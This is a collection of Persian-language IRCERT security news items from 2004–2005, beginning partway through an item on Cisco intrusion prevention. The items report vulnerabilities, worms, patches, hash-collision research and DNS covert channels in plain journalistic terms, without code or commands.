محصول دوم به کاربران امکان می دهد تا حملاتی را که از داخل پایه ریزی می شوند، شناسایی، مدیریت و رفع کنند. این مشخصه بخشی از سیستم تحلیل و پاسخگویی نظارت امنیتی سیسکو (CS-MARS) خواهد بود. با کمک این محصول جدید، سنسورهای سیستم جلوگیری از نفوذ سیسکو تهدیدات را تشخیص می دهند و CS-MARS این اطلاعات را بر روی شبکه برای روترهای دارای IPS ارسال می کند تا با تهدید مقابله کنند. دستورات فرستاده شده برای سیستمهای جلوگیری از نفوذ سیسکو می تواند شامل غیرفعال کردن یک سرویس یا بستن یک پورت برای مقابله با حمله باشد.

سیسکو اعلام کرده است که در این ماه نسخه جدید IPS‌خود را نیز ارائه خواهد کرد.


﻿ IRCERT - وجود مشکل در محصولات شبکه بی سیم سیسکو - اخبارها و هشدارها

وجود مشکل در محصولات شبکه بی سیم سیسکو

7 آوریل – 19 فروردین

شرکت سیسکو به مشتریان خود هشدار داد که یک مشکل امنیتی در دو محصول این شرکت که مدیریت شبکه های محلی بی سیم و سرویس های e-business را انجام می دهند, وجود دارد.

این شرکت اعلام کرده است که یک نام کاربری و کلمه عبور کد شده در برخی نسخه های Wireless Lan Solution Engine و نرم افزار Hosting Solution Engine می تواند به نفوذگران امکان کنترل کامل این تجهیزات را بدهد. هکرها می توانند با استفاده از login پیش فرض کاربران جدیدی ایجاد کنند و یا حقوق و امتیازات کاربران فعلی و یا حتی تنظیمات پیکربندی را تغییر دهند. بنابه گزارش رسیده , ترکیبی از نام کاربری و کلمه عبور پیش فرض در نرم افزاری که بر روی هر دووسیله اجرا می شود , ثبت شده و نمی توان آن را غیر فعال کرد. سیسکو هشدار داده است که در صورتی که کاربری این کلمه عبور را داشته باشد می تواند کنترل دستگاه را به دست بگیرد و از آن برای حملات بعدی استفاده کند.

در WLSE دانستن کلمه عبور و نام کاربری پیش فرض, امکان تغییر فرکانش رادیویی مورد استفاده برای ارسال داده روی WLAN را به هکر می دهد و به وی این اجازه را می دهد تا نقطه دسترسی غیرمجازی را به طور مخفیانه نصب و راه اندازی نماید تا روی اطلاعات محرمانه در حال تبادل روی WLAN شنود کند.

اما در HSE دانستن کلمه عبور پیش فرض به هکر این امکان را می دهد تا ترافیک یک سایت را که خدمات E_Business را ارائه می کند, تغییر دهد.

سیسکو اعلام کرده است که هنوز گزارشی مبنی بر نفوذ با استفاده از این حفره امنیتی دریافت نکرده است اما به کاربران هشدار داده است تا اصلاحیه امنیتی ارائه شده برای بستن این حفره را دریافت و نصب کنند.


﻿ IRCERT - کد حمله به فایلهای گرافیکی در اختیار عموم - اخبارها و هشدارها

کد حمله به فایلهای گرافیکی در اختیار عموم

22 سپتامبر 2004 - 1 مهر 1383

امروز یک برنامه نمونه بر روی اینترنت قرار گرفت که نشان می داد چگونه می توان از حفره امنیتی موجود در شیوه کار با فایلهای گرافیکی در ویندوز استفاده کرد و به یک کامپیوتر نفوذ کرد.

متخصصان امنیتی انتظار دارند که با ارائه این کد سری جدیدی از ویروسها و اسب های تروا که از این مشکل امنیتی استفاده می کنند، تولید و وارد شبکه ها شوند. مشکل امنیتی مزبور به شیوه پردازش فایلهای گرافیکی در برنامه ها و سیستم عاملهای مایکروسافت برمی گردد و به یک برنامه این امکان را می دهد تا هنگامی که کاربر یک فایل JPEG را باز می کند، کنترل کامپیوتر وی را در اختیار بگیرد.

وینست ویفر - مدیر ارشد بخش پاسخگویی امنیتی شرکت Symantec - در این باره می گوید:“ طی چند روز آینده شما شاهد حملات متعددی از طریق این حفره خواهید بود. از آنجایی که همه کاربران با این نوع فایل سروکار دارند و آن را باز می کنند، این مشکل جدی است.“

برنامه ارائه شده، ‌آخرین نمونه از exploit code است. منظور از exploit code یک برنامه نمونه است که به دیگران نشان می دهد چگونه برنامه ای بنویسند که از یک حفره امنیتی سوء استفاده کند. چنین نمونه هایی 2 روز قبل از کرم ساسر و 9 روز پیش از کرم MSBlast ارائه شده بودند.

همانطور که اشاره شد این مشکل در شیوه پردازش فایلهای گرافیکی در برنامه ها و سیستم عاملهای مایکروسافت وجود دارد و لذا مرورگر IE نیز دارای این حفره است. لذا برای حمله به یک کاربرکافی است وی را مجاب کرد تا سایتی را که دارای تصاویر آلوده است ببیند.

این مشکل بسیاری از برنامه ها و سیستم عاملهای مایکروسافت را تحت تاثیر قرار داده است. از آن جمله می توان به ویندوز XP ، ویندوز سرور 2003، ‌آفیس XP ، آفیس 2003، Internet Explorer 6 SP1 ، Project ،‌Visio ، Picture It و Digital Image Pro اشاره کرد.مایکروسافت لیست کامل نرم افزارهای دارای مشکل را در سایت خود در یک راهنمایی امنیتی ارائه کرده است. SP2 ارائه شده برای ویندوز XP دارای این مشکل نیست.

شرکت Symantec و سایر شرکتهای تولیدکننده ضدویروس، نرم افزارهای خود را به روز کرده اند تا بتوانند تصاویر آلوده بر روی صفحات وب را تشخیص دهند.


﻿ IRCERT - ویروس نویس شاعر! - اخبارها و هشدارها

ویروس نویس شاعر!

26 آوریل – 7 اردیبهشت

نویسنده آخرین نسخه Bagle پا را از نوشتن کد ویروس فراتر گذارده و یک قطعه شعر را نیز در مستند همراه ویروس قرار داده است. بنا به گفته تیم پاسخگویی امنیتی شرکت Network Associates – تولید کننده نرم افزار ضدویروس McAfee - این کرم خطرناک که Bagle.Z نام دارد , تا به حال به طور گسترده پخش نشده است. بنا به گفته یکی از مدیران این تیم , این ویروس مدت زیادی در شبکه باقی نخواهد ماند. البته وی خاطر نشان کرده است از آنجا که اینویروس خود را به یک فایل اجرایی الحاق کرده است که تا بحال توسط سایر ویروسها مورد استفاده قرار نگرفته بوده , لذا ممکن است در نفوذهای اولیه اش موفق باشد.

Bagle.Z آخرین کار انجام شده در عرصه رقابت بین نویسندگان دو ویروس Bagle و NetSky است. در آخرین نسخه NetSky نویسنده آن قول داده است تا زمانی که نویسنده Bagle به کار خود ادامه می دهد و نسخ جدید این کرم را منتشر می کند , وی نیز به این رقابت ادامه خواهد داد.

در ماه آوریل 6 نسخه مختلف از NetSky منتشر شده است در حالی که نویسنده Bagle فعالیت بسیار کمتری داشته است. متخصصان معتقدند که کد NetSKy در اینترنت منتشر شده است و لذا تنها یک نویسنده به تولید این نوع از کرم نمی پردازد. در ماه مارس چند نسخه از کرم Bagle منتشر شده بود که گسترش چندانی پیدا نکرد.

نسخه جدید Bagle نیز مانند نسخ قبلی از یک نام تصادفی انتخاب شده از یک لیست برای موضوع ایمیل و فایل الحاقی آن استفاده می کند. فایل الحاقی که شامل برنامه اجرایی کرم است , این متن را نیز در خود دارد :

"Unique people make unique things

That things stay beyond the normal life and common understanding

The problem is that people don't understand such wild things,

Like a man did never understand the wild life."

البته الحاق کردن یک شعر به یک ویروس تکنیک جدیدی نیست . در اوایل دهه 1980 , ویروسی که می توان آن را اولین ویروس Apple II دانست, پس از هر 50 بار که کامپیوتر آلوده آغاز به کار می کرد, شعری را نمایش می داد.


﻿ IRCERT - راه اندازی خودپرداز بیومتریک در کلمبیا - اخبارها و هشدارها

راه اندازی خودپرداز بیومتریک در کلمبیا

29 نوامبر 2004 - 9 آذر 1383

مشتریان بانک در کلمبیا این امکان را یافته اند که جهت دریافت پول از خودپرداز از اثر انگشت خود استفاده کنند.

بانک Bancafe در کلمبیا با همکاری شرکت NCR خودپردازهای خود را به روز کرده و به 2.5 میلیون نفر مشتری خود اجازه داده است تا با استافده از اثر انگشت و شماره شناسایی ( PIN ) از حساب خود پول برداشت کنند.

بنابه گفته NCR حدود 50 درصد مشتریان بانک برای استفاده از خودپردازها ثبت نام کرده اند و بانک انتظار دارد با به روز رسانی تمامی شبکه خودپردازها، تعداد متقاضیان افزایش یابد.

مارک گروسی - یکی از مدیران ارشد NCR - معتقد است که فناوری بیومتریک به اندازه کافی قابل اطمینان و ارزان است و می توان از آن برای محیط بانکی استفاده کرد. وی می گوید:“ این فناوری به مرحله ای رسیده است که از ثبات کافی برخوردار است و از نظر هزینه نیز متناسب است و می تواند نیازهای بازار را تامین کند. “بانک Bancafe با استفاده از این فناوری توانسته است سیستم بدون کارت را راه اندازی کند.

مدیر بازرگانی این بانک نیز اشاره می کند که این فناوری مشتریان جدیدی را به سوی بانک جذب کرده است. وی اضافه می کند که بانک ابتدا این فناوری را بر روی 170 خودپرداز تست کرده و در حال حاضر سه چهارم از 486 خودپرداز این بانک به این فناوری مجهز است.


﻿ IRCERT - اصلاحیه های مهم برای ویندوز و آفیس - اخبارها و هشدارها

اصلاحیه های مهم برای ویندوز و آفیس

7 جولای 2005 – 16 تیر 1384

مایکروسافت قصد دارد در ادامه برنامه های ارائه اصلاحیه های ماهانه، سه هشدار امنیتی برای مشکلات امنیتی موجود در ویندوز و آفیس ارائه کند.

این شرکت در یک خبر در سایت خود اعلام کرده است که دو بولتن امنیتی مربوط به ویندوز خواهد بود که حداقل یکی از آنها درجه خطر critical یعنی بالاترین درجه از نظر مایکروسافت را دارد. بولتن سوم نیز به آفیس مربوط است که آن هم بالاترین درجه خطر یعنی critical را داراست.

این خبر اشاره نکرده است که آیا یکی از این اصلاحیه ها برای IE خواهد بود یا خیر. اوایل این هفته مایکروسافت یک گردش کاری برای یک مشکل امنیتی شناسایی شده در IE ارائه کرده بود.

مایکروسافت گفته است که یک اصلاحیه با اولویت بسیار بالا برای آفیس ارائه خواهد کرد که مربوط به مسائل امنیتی نیست. این شرکت افزوده است که نسخه به روز شده نرم افزار Windows Malicious Software Removal Tool ، که کدهای خطرناک را تشخیص می دهد و پاک می کند، نیز در روز سه شنبه منتشر خواهد شد.

مایکروسافت جزئیات بیشتری درباره این اصلاحیه ها بیان نکرده است.


﻿ IRCERT - اخبار و هشدارها - IE مشکلات امنیتی مهم

مشکلات امنیتی مهم IE و Outlook

۱ آوریل ۲۰۰۵ – ۱۲ فروردین ۱۳۸۴

شرکت تحقیقاتی eEye Digital Security اعلام کرده است که مجموعه جدیدی از حفره های امنیتی بسیار خطرناک در برنامه های IE و Outlook کشف شده است.

بنابه گفته eEye این حفره ها امکان اجرای از دور یک کد را بدون دخالت کاربر کامپیوتر فراهم می کند. یکی از مدیران ارشد این شرکت گفت که این حفره ها به کرمهایی که خود را منتشر می کنند، اجازه آلوده سازی سیستم را نمی دهند، اما این امکان وجود دارد که هکرها با کمک این اشکالات امنیتی اسبهای تروا را بدون اطلاع کاربر روی سیستم وی نصب کنند. اگر کاربری فریب بخورد و به سایتی حاوی کد خطرناک برود، تنها با مرور روی یک تبلیغ آلوده خواهد شد.

eEye چند روز پیش اطلاعات مربوط به این حفره ها را در اختیار مایکروسافت قرار داده است و به این شرکت زمان داده است تا اصلاحیه ای را پیش از انتشار جزئیات حفره ها ارائه کند. در حال حاضر جزئیات کمی دراین باره منتشر شده است.

هنوز گزارشی از حملات احتمالی انجام شده ارائه نشده است.


﻿ IRCERT - انتشار اصلاحیه های مهم ویندوز - اخبارها و هشدارها

انتشار اصلاحیه های مهم ویندوز

11 ژانویه 2005 - 22 دی 1383

امروز مایکروسافت اصلاحیه های مهمی را برای سیستم عامل خود عرضه کرد اما اصلاحیه IE که مشکلات امنیتی این نرم افزار را برطرف می کند هنوز آماده نشده است.

این شرکت در ادامه برنامه به روز رسانی ماهانه خود سه اصلاحیه را ارائه کرده که یکی دارای درجه important و سایرین دارای درجه اهمیت critical هستند.

یکی از اصلاحیه های critical برای حل مشکلات امنیتی موجود در HTML Help ActiveX control در ویندوز طراحی شده است. متخصصان امنیتی به مایکروسافت درباره این مشکل هشدار داده بودند و این شرکت را مجبور کرده بودند که سریعتر عکس العمل نشان دهند.

دومین اصلاحیه critical حفره های موجود در سیستم عاملهای ویندوز از NT سرور تا XP را پوشش می دهد. این حفره ها در مدیریت آیکون و cursor وجود دارد. هکرها از این حفره ها با ایجاد سایتهای آلوده و تقلبی سوء استفاده می کنند.

دو اصلاحیه فوق حفره هایی را می پوشانند که برنامه های نفوذگر آنها ارائه شده اند.

اصلاحیه سوم برای سرویس شاخص دهی ( indexing ) ویندوز ارائه شده است تا دسترسی هکرها را به محتوای index مشکلتر کند.


﻿ IRCERT - اصلاحیه های ویندوز در راهند - اخبارها و هشدارها

اصلاحیه های ویندوز در راهند

7 ژانویه 2005 - 18 دی 1383

مایکروسافت اعلام کرده است که طی هفته آینده سه اصلاحیه برای سیستم عامل خود عرضه خواهد کرد.

این اصلاحیه ها در روز سه شنبه منتشر خواهند شد. مایکروسافت جزئیاتی از این اصلاحیه ها منتشر نکرده است جز این که کاربران باید پس از نصب اصلاحیه ها ، سیستم خود را بازآغازی کنند تا اصلاحیه ها مؤثر باشند.

مایکروسافت اشاره نکرده است که آیا این اصلاحیه ها مشکلات امنیتی سه ماهه مرورگر IE را برطرف خواهند کرد یا خیر. در انتهای ماه دسامبر یک گروه امنیتی کد نفوذ از طریق این حفره ها را منتشر کردند. همین امر باعث شد که Secunia درجه خطر این حفره ها را به بالاترین میزان افزایش دهد.

وجود مشکلات امنیتی متعدد در IE باعث شده است که مایکروسافت بخشی از بازار را به رقیب خود یعنی موزیلا و مرورگرش یعنی Firefox واگذار نماید.


﻿ IRCERT - رمز نکنید، امن نیست! - اخبارها و هشدارها

رمز نکنید، امن نیست!

17 آگوست 2004 - 27 مرداد 1383

بنابر اخبار رسیده بسیاری از توابع ریاضی به کار گرفته شده در برنامه های امنیتی ، نقاط ضعف ناشناحته ای دارند.

هفته گذشته در اخبار گفته شد که Antoine Joux ، ریاضیدان فرانسوی ، توانسته است یک مشکل را در الگوریتم مشهور MD5 که معمولا در امضای دیجیتالی به کار می رود، بیابد. پس از آن چهار محقق چینی طی مقاله ای گزارش دادند که راهی را برای شکستن الگوریتم SHA-0 یا Secure Hash Algorithm یافته اند.

با وجودی که نتایج ارائه شده هنوز خام و اولیه هستند اما نشان از آن دارند که هکرها می توانند درهای پشتی غیرقابل تشخیصی را در کدهای کامپیوتری بگنجانند یا یک امضای دیجیتالی را جعل کنند مگر این که الگوریتم جدیدی با امنیت بیشتر مورد استفاده قرار گیرد.

سومین خبر امروز و در کنفرانس Crypto 2004 اعلام شد. دو محقق که قرار بود روش های حمله به SHA-0 را طی مقاله ای در این سمینار ارائه کنند ، در ارائه خود گزارش دادند که نقاط ضعفی در SHA-1 نیز یافته اند. SHA-1 تا به حال یک الگوریتم امن به حساب می آمد. گرچه ارائه آنها بسیار ابتدایی بود اما الگوریتم مشهور SHA-1 که مورد استفاده زیادی پیدا کرده است را زیر سئوال برد.

SHA-1 تا به حال به عنوان استاندارد طلایی و برترین الگوریتم رمز در این رده در برنامه های پرطرفداری مانند PGP و SSL به کار گرفته شده است. SHA-1 یک خروجی 160 بیتی ارائه می کند که در مقایسه با خروجی 128 بیتی MD5 امن تر است.

یکی از متخصصین رمزنگاری در ابن باره می گوید:“ اگر بتوان دو ورودی به تابع Hash را یافت که خروجی آنها یکسان باشد، شما می توانید یکی را به جای دیگری استفاده کنید و همین کافی است تا در دادگاه درباره امضای دیجیتالی ابهام ایجاد شود.“

متخصصان و کارشناسان کامپیوتر MD5 ، SHA-0 و SHA-1 را به عنوان الگوریتمهای Hash می شناسند که ورودی های مختلفی از ایمیل تا هسته سیستم عامل را می گیرند و یک خروجی یکتا به عنوان اثر انگشت تولید می کند. تغییر حتی یک حرف در ورودی به یک خروجی کاملا متفاوت می انجامد.

برنامه های امنیتی بر این آثار انگشت یکتا تکیه می کنند. اما اگر یک هکر بتواند با یک ورودی دیگر همان خروجی را تولید کند ، باعث می شود که یک نرم افزار که در پشتی در آن قرار گرفته ، به راحتی به عنوان نرم افزار سالم و امن دریافت و نصب شود. همچنین یک فرد می تواند با جعل امضای دیجیتالی حساب کاربر دیگری را خالی کند!

البته تا به حال الگوریتم صد در صد امنی یافت نشده و لذا متخصصان به دنبال الگوریتمهایی بوده اند که زمانی طولانی برای شکستن آنها لازم باشد. SHA-1 به همین دلیل به کار گرفته شد، چون با روشهای موجود قابل شکستن نبود.

الگوریتم SHA-1 یک روتین را 80 بار اجرا می کند تا به یک خروجی یکتا دست یابد. اما محققان اشاره کرده اند که طی 36 بار اجرا توانسته اند خروجی مشابه را تولید کنند که در نتیجه سرعت یافتن خروجی مشابه 500 میلیون بار سریعتر می شود و از نظر تئوری می توان به امضای دیجیتالی مشابه با کمک یک شبکه از کامپیوترهای سریع دست یافت.

الگوریتم MD5 نیز که در وب سرور Apache و همچنین دیتابیس Sun Solaris به کار گرفته شده با توجه به مشکلات یافت شده امن محسوب نمی شود و لذا متخصصان توصیه کرده اند که از آن استفاده نشود.


﻿ IRCERT - یک روزه و مشکل امنیتی - اخبارها و هشدارها Debian

Debian یک روزه و مشکل امنیتی

8 ژوئن 2005 - 18 خرداد 1384

یک مشکل امنیتی در نسخه جدید Debian Linux باعث شد که طی کمتر از 24 ساعت از عرضه آن، اصلاحیه ای برای آن منتشر شود.

کالین واتسون، یکی از تولیدکنندگان Debian، طی ایمیلی هشدار داده است که نسخ Debian 3.1 که از روی CD و DVD نصب می شوند،‌به صورت پیش فرض اصلاحیه های امنیتی را نخواهند گرفت. اما نسخی که از روی فلاپی یا شبکه نصب می شوند این مشکل را ندارند.

واتسون عذرخواهی کرده است و از فروشندگان خواسته است تا تکثیر و فروش CD و DVD نسخه جدید را به تاخیر بیاندازند تا اصلاحیه آن در دسترس قرار گیرد. البته استیو لانگاسک ، یکی دیگر از اعضای تیم تولیدکننده Debian، در وبلاگ خود گفته است که یک یا دو روز طول خواهد کشید تا اصلاحیه در اختیار همه قرار گیرد.

البته افرادی که این نسخه جدید را نصب کرده اند نیز نباید نگران باشند چون رفع این مشکل تنها با جایگزینی یک مورد در فایل پیکربندی قابل انجام است.

انتشار این نسخه از Debian حدود 3 سال به طول انجامید که این سیکل در مقایسه با رقیبانی همچون RedHat‌ بسیار کند است.


﻿ IRCERT - ویندوز را تهدید می کند - اخبارها و هشدارها DoS

DoS ویندوز را تهدید می کند

8 مارس 2005 - 18 اسفند 1383

محققان امنیتی جزئیات یک حفره DoS ( Denial of Service ) را منتشر کرده اند که به هکرها اجازه می دهد تا به کامپیوترها حمله کنند و آنها را در حلقه های پردازشی بی معنا گرفتار کنند.

در این روش که LAND نام دارد، فرد با یک دستور یک بسته اطلاعاتی را برای یک کامپیوتر ویندوزی ارسال می کند و اطلاعات منبع و مقصد را یکسان ذکر می کند و کامپیوتر را در یک حلقه گرفتار می کند.

مایکروسافت با وجودی که امکان انجام حملات LAND را تایید کرده است اما مدعی است که چنین حملاتی تنها باعث کندی کامپیوتر ویندوزی می شود و آن را از کار نمی اندازد. همچنین این شرکت می گوید درصورتی که کاربران از فایروال تعبیه شده در سیستم عامل استفاده کنند، از وقوع بسیاری از این حملات جلوگیری می کنند. بعضی کارشناسان این ادعاهای مایکروسافت را صحیح می دانند.

البته این نوع حملات سابقه تاریخی دارند و اولین حملات LAND در سال 1997 انجام شده اند. به نظر می رسد که این ایده قدیمی دوباره با همان استراتژی قبلی به کار گرفته شده است.


﻿ IRCERT - ابزارهای جستجو، هدف جدید ویروسها - اخبارها و هشدارها

ابزارهای جستجو، هدف جدید ویروسها

14 دسامبر 2004 - 24 آذر 1383

متخصصان امنیتی هشدار می دهند که ویروس نویسان می توانند با استفاده از ابزارهای جدید جستجوی Desktop ، کارایی نرم افزارهای خطرناک خود را افزایش دهند.

از آنجایی که بیشتر ویروسها سعی می کنند تا نشانی های ایمیل و سایر اطلاعات شخصی را به سرقت ببرند ابزارهای جستجوی Desktop مانند محصولات ارائه شده توسط گوگل، یاهو و مایکروسافت این اطلاعات را جمع آوری و شاخص دهی می کنند، ویروس نویسان این ابزارها را هدف قرار خواهند داد.

گفته می شود ویروس نویسان به این دلیل تا به حال به سراغ این ابزارها نرفته اند که هنوز این نرم افزارها به اندازه کافی فراگیر نشده اند.

ویروسها تا به حال از موتورهای جستجو جهت جمع آوری نشانی های ایمیل استفاده کرده اند. MyDoom با انجام جستجوهای مکرر بر روی گوگل باعث از کار افتادن و یا کند شدن این موتور جستجو در زمانهای مختلف شد.

متخصصان توصیه می کنند که کاربران درصورت استفاده از این ابزارها اقدامات امنیتی را جدی تر بگیرند.


﻿ IRCERT - ضدویروس مایکروسافت معرفی شد - اخبارها و هشدارها

ضدویروس مایکروسافت معرفی شد

28 جولای 2004 – 7 مرداد 1383

یکی از مدیران اجرایی مایکروسافت در فرانسه بخشهایی از طرح مایکروسافت برای ورود به بازار ضدویروس را فاش کرد.

نیکولاس میریل - مدیر فنی پروژه امنیتی مایکروسافت در فرانسه – اشاره کرد که یک محصول مجزا با کمک ابزارهای GeCad و Pelican که مایکروسافت خریداری کرده است ، برای مقابله با ویروسها عرضه خواهد شد. میریل گفت که این نرم افزار از دو روش جهت شناسایی فایلهای مخرب استفاده خواهد کرد. در اولین روش یک لیست به روز شده از ویروسها شناخته شده به عنوان مرجع مورد استفاده قرار خواهد گرفت. اما دومین ابزار سیستم کامپیوتر را مورد تحلیل قرار خواهد داد تا مشخص شود آیا سیستم پیش از این توسط یک ویروس مورد حمله قرار گرفته است یا خیر. همچنین این ابزار به کاربران هشدار خواهد داد که در برابر مشکلات آتی چیزان خطری آنها را تهدید خواهد کرد.

همچنین میریل اشاره کرد که بسته نرم افزاری ضدویروس مایکروسافت فایروالی با خود نخواهد داشت اما یک فایروال درون سیستم عامل ویندوز XP قرار خواد گرفت. میریل همچنین گفت که این محصول با هر دو سیستم عامل ویندوز XP و Longhorn کار خواهد کرد.

نمایندگان مایکروسافت در امریکا نظری درباره زمان تولید و روش کار این محصول ارائه نکرده اند. این شرکت تا به حال اطلاعات کمی درباره ضدویروس خود ارائه کرده اند. متخصصان معتقدند که این شرکت قصد دارد تا بخش عمده ای از این بازار را نیز قبضه کند. به یاد دارید که شایعاتی درباره خرید شرکت Network Associates توسط مایکروسافت مطرح شده بود.


﻿ IRCERT - اسکن 249 مگابیت اطلاعات در ثانیه - اخبارها و هشدارها

اسکن 249 مگابیت اطلاعات در ثانیه

21 ژوئن 2004 – 1 تیر 1383

با افزایش پنهان شدن کرمهای اینترنتی در وب سایتها و تصاویر فرستاده شده توسط ایمیلها، شرکت امنیتی Blue Coat به فکر افتاده است تا ضدویروسی را ارائه کند که مرز بین اینترنت و شبکه های شرکتها را بدون کاهش سرعت ترافیک کنترل کند.

این محصول جدید که امروز ارائه شده و ProxyAV نام دارد ، می تواند تا 249 مگابیت اطلاعات را در ثانیه به صورت بلادرنگ اسکن کند تا از عدم وجود ویروس در آنها مطمئن شود. این محصول می تواند به شرکتها کمک کند تا بدون ایجاد گلوگاه از ورود ویروسهای مبتنی بر وب به شبکه هایشان جلوگیری کند.

این نرم افزار در کنار سیستم ProxySG این شرکت قرار می گیرد. ProxySG اجزاء وبی را مورد بررسی قرار می دهد و بعضی را برای اسکن به ProxyAV می فرستد. ProxyAV این موارد را اسکن می کند و سپس آنها را برای کش کردن دوباره به ProxySG می فرستد تا دفعه بعد این موارد با سرعت بیشتری بررسی شوند و موارد تکراری مورد اسکن قرار نگیرند.

استیو مولانی – قائم مقام بخش بازاریابی Blue Coat – دراین باره چنین می گوید :“ ‌کلید ساخت ضدویروسهای وبی با کارایی بالا و برای قرار دادن در درگاه ارتباطی شرکتها با اینترنت استفاده از Proxy است. “

ابزارهای فیلتر وب می تواند در درگاه ارتباطی شرکت با شبکه اینترنت قرار بگیرد و به شرکتها کمک کند تا از ورود ویروسها جلوگیری کند. شرکت دیگری به نام SeryGate نیز اخیرا نرم افزاری را به بازار عرضه کرده است که به مشتریان کمک می کند تا تبلیغات pop-up ، سایتهای خطرناک و ویروسهای نفوذگر از طریق مرورگرها را بلوکه کنند.

مشتریان می تواننداز محصول شرکت Blue Coat در کنار نرم افزار ضدویروس هر شرکت دیگری مانند McAfee یا Panda استفاده کنند و یک سیستم ضدویروس چندلایه را شرکت خود به کار بگیرند.


﻿ IRCERT - محلی برای تبادل اطلاعات مخفی - اخبارها و هشدارها DNS

DNS ، محلی برای تبادل اطلاعات مخفی

31 جولای 2004 – 10 مرداد 1383

DNS ( Domain Name Server )‌ که برای تبدیل URL به آدرس IP مورد استفاده قرار می گیرد و مرور وب را برای کاربران میسر می سازد،‌ می تواند برای ایجاد کانالهای ارتباطی نهانی ،‌ رد کردن سدهای امنیتی و ذخیره سازی توزیع شده محتوا به کار رود.

هک امنیتی از داده منتقل شده توسط DNS استفاده می کند تا اطلاعات اضافی را در ارتباطات شبکه مخفی کند. DNS ها همانند صفحات شفاف در اینترنت عمل می کنند و به صورت نامحسوسی دامنه یک سایت را که به راحتی به ذهن سپرده می شود ،‌به نشانی IP آن که مورد استفاده شبکه های کامپیوتری است تبدیل می کنند. وسایل امنیتی مانند فایروالها نیز چون اطلاعات DNS را بی ضرر می دانند به راحتی عبور می دهند. دان کامینسکی - یکی از متخصصان امنیتی - می گوید :“ DNS ها همه جا هستند چون بدون آنها ارتباط ممکن نیست. آنها مونیتور نمی شوند و کسی مراقب آنها نیست. “

کانالهای پنهانی ارتباطی یک حوزه مشترک تحقیق برای متخصصان امنیت و هکرهاست. سال گذشته یکی از متخصصان امنیتی روشی را برای ارسال داده با استفاده از مخفی سازی آنها در بسته های شبکه ارائه داد. ایده کار به 15 سال پیش برمی گردد اما اخیرا کامینسکی ابزارهایی ارائه کرده که به کاربران امکان می دهد تا با کمک DNS پیغامهای مخفی بفرستند.

کامینسکی در یک کنفرانس نشان داد که DNS چگونه همانند یک هاب ارتباطی برای مخفی سازی پیغامها به کار می رود و یک برنامه چگونه می تواند داده را در درخواستهای DNS مخفی کند. وی همچنین امکان پخش رادیو بر روی این کانال مخفی را به نمایش گذارد.

کامینسکی معتقد است که این داده در حالت عادی توسط بخش امنیتی تشخیص داده نمی شود و ثبت نمی شود ،‌چون به نظر آنها تنها سرورهای DNS‌ در حال برقراری ارتباط با یکدیگر هستند. وی می گوید :“ در واقع کاربر داده را به بیرون شبکه نمی فرستد ،‌بلکه به نظر می رسد که آنها به DNS‌ داخلی خود درخواست می فرستند و DNS آن را به بیرن شبکه ارسال می کند. “البته عدم توجه به DNS ها آثار جانبی دیگری نیز برای مدیران شبکه ها دارد. خدمات آنلاین که به کاربران اجازه می دهند تا پس از login به یک پورتال به اینترنت متصل شوند ، به بسته های DNS اجازه می دهند تا از وسایل امنیتی عبور کنند. این امر باعث می شود تا یک هکر بتواند از نرم افزار کامینسکی استفاده کند تا دسترسی رایگان بی سیم به بیشتر شبکه ها پیدا کند.

کامینسکی به مدیران شبکه ها توصیه می کند توجه بیشتری نسبت به فعالیتهای DNS مبذول کنند.


﻿ IRCERT - اخبار و هشدارها- MyDoomرد پای

صفحه اول > اخبار و هشدارها

چه کسی رد پای نویسنده MyDoom را پاک می کند؟

9 فوریه 2004 – 20 بهمن 1382

یک کرم اینترنتی که از روز یک شنبه 8 فوریه (19 بهمن) شروع به انتشار بروی اینترنت کرده است ، با ورود به رایانه های آلوده شده توسط MyDoom.A و MyDoom.B ، علاوه بر فعالیتهای دیگر، کپی هایی از سورس کد مربوط به کرم MyDoom.A را در مکانهای مختلف کامپیوتر آلوده کپی می کند و در واقع شواهدی مبنی بر تعلق کامپیوتر به نویسنده کرم MyDoom را بر جا می گذارد. DoomJuice همچنین سعی می کند تا کامپیوترهای آلوده را برای حمله به مایکروسافت آماده کند. وجود سورس کد MyDoom همرا با این کرم این ایده را مطرح می کند که نویسنده هر دو کرم یک نفر یا گروه است.

کارشناسان معتقدند که نویسنده MyDoom از این کرم جدید که Doomjuice نام دارد استفاده می کند تا بتواند کامپیوتر خود را میان سایر کامپیوترهای حاوی کد مخفی کند. بعضی دیگر نیز فکر می کنند که علت انتشار این کرم، استفاده سایر ویروس نویسان از کد مربوطه و انتشار نسخ دیگری از MyDoom است. به هر حال به نظر می رسد نویسنده یا نویسندگان MyDoom سعی دارند تا بدینوسیله خود را مخفی کنند تا علاقه مندان به دریافت دو جایزه 250 هزار دلاری شرکتهای مایکروسافت و SCO برای یابندگان نویسنده ویروس ناکام بمانند.


﻿ IRCERT - اخبار و هشدارها - IE دو ویروس در نبرد با

دو ویروس در نبرد با IE

9 نوامبر 2004 - 19 آبان 1383

دو نسخه از ویروس MyDoom که اولی دیروز و دومی امروز منتشر و کشف شده اند، سعی می کنند تا با استفاده از حفره امنیتی IE خود را منتشر کنند.

این دو نسخه ، که تفاوتشان در ایمیلی است که به قربانیان فرستاده می شود ، از یک حفره IE‌ که به تازگی کشف شده است استفاده می کنند و زمانی که کاربر بر روی یک لینک ساده وب کلیک می کند، کامپیوتر وی را آلوده می کنند. اما بنابه گفته آلفرد هوگر- مدیر ارشد بخش پاسخگویی امنیتی Symantec - این ویروسها به سرعت در حال گسترش نیستند چون نویسنده آنها نتوانسته است به خوبی از حفره امنیتی مزبور استفاده کند. وی می گوید:“ نویسنده کار ویروسها را برای آلوده سازی سیستمها مشکل کرده است، لذا میزان گسترش کمتر از توقع است.“

Symantec تنها 40 گزارش درباره این نسخ جدیدی یعنی MyDoom.AI و MyDoom.AH دریافت کرده است و درجه خطر انها را 2 از 5 اعلام کرده است.

این ویروسها از حفره ای در IE 6.0 استفاده می کنند که به هکر اجازه می دهد تا با یک کلیک کاربر بر روی یک لینک، برنامه ای را روی سیستم وی اجرا نماید. این حفره که IFrame نام دارد IE 6.0 را بر روی ویندوزهای 2000 و XP با SP1 تحت تاثیر قرار می دهد. کاربرانی که XP SP2 را نصب کرده اند در مقابل خطرات این حفره از جمله این دو ویروس مصون هستند.

مایکروسافت دیروز اعلام کرد که از استفاده ویروس از این حفره آگاه است و در حال بررسی این مشکل امنیتی است. این شرکت به کاربران توصیه کرده است که در باز کردن فایلهای الحاقی دقت بیشتری داشته باشند. همچنین با فعال سازی فایروال و نصب اصلاحیه های امنیتی و نرم افزار ضدویروس احتمال آلوده شدن را پایین بیاورند.

